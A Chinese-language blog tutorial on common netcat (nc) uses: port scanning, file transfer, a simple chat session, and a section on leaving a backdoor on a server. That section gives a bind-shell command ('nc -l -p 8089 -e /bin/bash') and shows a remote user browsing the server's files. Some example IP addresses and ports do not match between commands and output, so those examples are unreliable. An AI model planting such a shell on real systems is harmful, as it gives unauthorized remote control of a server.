linux nc (Netcat) 常見用法

ramsey發表於2021-07-24

nc(netcat)

nc(netcat) 是一個簡單強大的網路命令列工具,透過TCP,UDP在網路中讀寫資料。

安裝

$ yum install nc                  [On CentOS/RHEL]
$ dnf install nc                  [On Fedora 22+ and RHEL 8]
$ sudo apt-get install Netcat     [On Debian/Ubuntu]

用途

nc 可以被用來進行埠掃描,埠重定向,或者作為埠監聽器,也能被用來開啟遠端連線,還可以留後門訪問目標伺服器。

  1. 埠掃描
    nc能被用來進行埠掃描(支援單埠掃描和多埠掃描),探測埠是否開啟以及目標機器服務是否活著。
    單埠掃描:
    nc -z 10.95.96.24 8201
    Connection to 10.96.90.14 port 8201 [tcp/trivnet2] succeeded! //說明10.96.90.14埠8201是開啟的
    多埠掃描
    nc -z 10.95.96.24 8201-8205
    Connection to 10.96.90.14 port 8201 [tcp/trivnet2] succeeded! //8201埠是開啟的
    Connection to 10.96.90.14 port 8202 [tcp/*] succeeded! //埠8202是開啟的
  2. 不同伺服器之間檔案傳輸
    nc支援不同伺服器之間進行檔案傳輸(前提:兩個伺服器都已安裝nc)
    例如將本地檔案傳輸到目標機:
    在本地如下操作:
    nc 目標機 8888 < 檔名
    在目標機如下操作:
    nc -4 -l 8088 > 檔名
    具體例項:將本地檔案test 傳輸到機器10.16.96.13
    nc 10.16.96.13 8088 < test //在本地執行
    nc -4 -l 8088 > test //在目標機執行
  3. 建立IM 會話
    nc還可以在兩個伺服器之間建立一個簡單的IM會話。(前提:兩個伺服器都已安裝nc)
    本地A(10.16.96.13)執行如下命令建立一個chat server
    nc -4 -l -p 8088
    在另一臺機器B和A建立一個caht 會話,
    nc  10.16.96.13 8088
    一個簡單的IM會話就這樣完成了。
    [root@8a7aa77a8ba4 lbs_plus]# nc  10.16.96.13 8088
    i am xiaoming  and you ?
    i am xiaohua nice to meet you 
    me too 
    [root@qa-test-env-0 liguohan]#nc -4 -l -p 8088
    i am xiaoming  and you ?
    i am xiaohua nice to meet you 
    me too 
  4. 目標伺服器留後門
    你也可以利用nc為伺服器設計一個後門。(前提:兩個伺服器都已安裝nc)
    • 先在目標伺服器上開放一個埠(例如:8089)
      [root@8a7aa77a8ba4 lbs_plus]#  nc -4 -l -vv -p 8089 -e /bin/bash
      Ncat: Version 6.40 ( http://nmap.org/ncat )
      Ncat: Listening on 0.0.0.0:8089
    • 在本地透過nc連線,連線後就可以隨意獲取目標伺服器的任何資訊。
      Connection to 10.96.90.14 port 8089 [tcp/*] succeeded!
      cd  /home/user     
      pwd 
      /home/user
      ls 
      apollo
      conf.json
      conf.json_mx
      conf_template
      nc 用法很多,這裡只提到了幾種常見用法,更詳細的用法可以閱讀官方文件:命令列下 man nc獲取
      參考文章:nc常見用法
本作品採用《CC 協議》,轉載必須註明作者和本文連結
拉姆塞

相關文章